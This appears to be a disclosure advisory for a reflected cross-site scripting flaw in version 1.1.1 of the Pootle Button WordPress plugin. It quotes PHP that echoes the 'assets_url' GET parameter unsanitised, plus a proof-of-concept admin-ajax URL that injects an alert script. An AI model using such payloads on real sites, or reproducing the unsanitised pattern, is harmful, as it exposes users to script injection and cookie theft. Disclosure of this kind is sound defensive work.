WordPress Pootie Button plugin version 1.1.1 suffers from a cross site scripting vulnerability.
24a76bc6d718c2e56014b480a5dd48a2f4457b3c5a0a2bd4c5ad481bae6cdcab
Class Input Validation Error
Remote Yes
Reflected Yes
Credit Ricardo Sanchez
Vulnerable Pootle button plugin 1.1.1
Pootle button plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.
To exploit this issue following steps:
The XSS reflected because the "assets_url" value is not filter correcly:
<script src="<?php echo $_GET['assets_url'] . 'alpha-color.js'
?>"></script> <link rel="stylesheet" href="<?php echo $_GET['assets_url'] .
'dashicons-select.css' ?>"> <script src="<?php echo $_GET['assets_url'] .
'dashicons-select.js?v=1.0.1' ?>"></script> Demo url:
*http://localhost/wordpress/wp-admin/admin-ajax.php?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E
<http://localhost/wordpress/wp-admin/admin-ajax.php?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E>*